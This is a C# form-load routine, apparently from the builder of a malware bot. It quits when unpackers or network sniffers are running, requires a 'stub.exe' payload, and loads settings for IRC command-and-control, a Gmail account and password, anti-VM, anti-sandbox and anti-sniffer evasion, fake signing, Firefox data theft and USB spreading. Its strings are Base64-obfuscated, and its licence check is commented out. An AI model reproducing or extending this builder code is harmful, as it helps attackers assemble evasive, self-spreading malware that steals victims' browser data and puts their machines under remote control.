private void Form1_Load(object sender, EventArgs e)
{
Instance.comboFakeSign.SelectedIndex = 0;
Instance.ComboCrashOptions.SelectedIndex = 0;
//Check for these tools
if ((Util.GetModuleHandle("Sniffer2HelperWin32.dll").ToInt32() != 0) || Util.IsProcessRunning(".NET Generic Unpacker") ||
Util.IsProcessRunning("PvLog .NET Sniffer"))
{
MessageBox.Show(FromBase64("Tm8="));
goto Label_0;
}
//check the serial
//serial.txt
if (!File.Exists(FromBase64("c2VyaWFsLnR4dA==").ToLower()) ||
!HardwareLock.verifySerial(File.ReadAllText(FromBase64("c2VyaWFsLnR4dA==").ToLower()), HardwareLock.GetHardwareID()))
{
//Invalid serial, Error
// MessageBox.Show(FromBase64("SW52YWxpZCBzZXJpYWw="), FromBase64("RXJyb3I="), MessageBoxButtons.OK, MessageBoxIcon.Error);
// Environment.Exit(-1);
}
Instance.GroupBox2.ForeColor = Color.DeepPink;
Instance.TextMutex.Text = Util.getRandNum(new Random().Next(10, 20));
//stub.exe
if (!File.Exists(FromBase64("c3R1Yi5leGU=").ToLower()))
{
//stub.exe not found, closing.
MessageBox.Show(FromBase64("c3R1Yi5leGUgbm90IGZvdW5kLCBjbG9zaW5nLg=="));
goto Label_0;
}
try
{
//Load the user settings
string settings = File.ReadAllText("settings.txt", Encoding.Default);
string[] fsettings = Strings.Split(settings, "\n", -1, CompareMethod.Text);
Instance.TextMutex.Text = fsettings[0];
Instance.TextGmailAcc.Text = fsettings[1];
Instance.TextGmailPass.Text = fsettings[2];
Instance.txtIRCServ.Text = fsettings[3];
Instance.txtIRCServPass.Text = fsettings[4];
Instance.txtIRCServPort.Text = fsettings[5];
Instance.txtIRCServChannel.Text = fsettings[6];
Instance.txtIRCServChanPass.Text = fsettings[7];
Instance.txtIRCServMasterUser.Text = fsettings[8];
Instance.txtIRCAuthHost.Text = fsettings[9];
Instance.CheckVboxvmware.Checked = Convert.ToBoolean(fsettings[10]);
Instance.CheckAntiSandbox.Checked = Convert.ToBoolean(fsettings[11]);
Instance.CheckAntiSniff.Checked = Convert.ToBoolean(fsettings[12]);
Instance.CheckSysint.Checked = Convert.ToBoolean(fsettings[13]);
Instance.ComboCrashOptions.SelectedIndex = Convert.ToInt32(fsettings[14]);
Instance.CheckEnableMsg.Checked = Convert.ToBoolean(fsettings[15]);
Instance.CheckVirtOnly.Checked = Convert.ToBoolean(fsettings[16]);
Instance.CheckFirefox.Checked = Convert.ToBoolean(fsettings[17]);
Instance.CheckUSBSpread.Checked = Convert.ToBoolean(fsettings[18]);
Instance.txtIRCLoginPass.Text = fsettings[19];
}
catch (Exception) { }
return;
Label_0:
{
Environment.Exit(-1);
}
}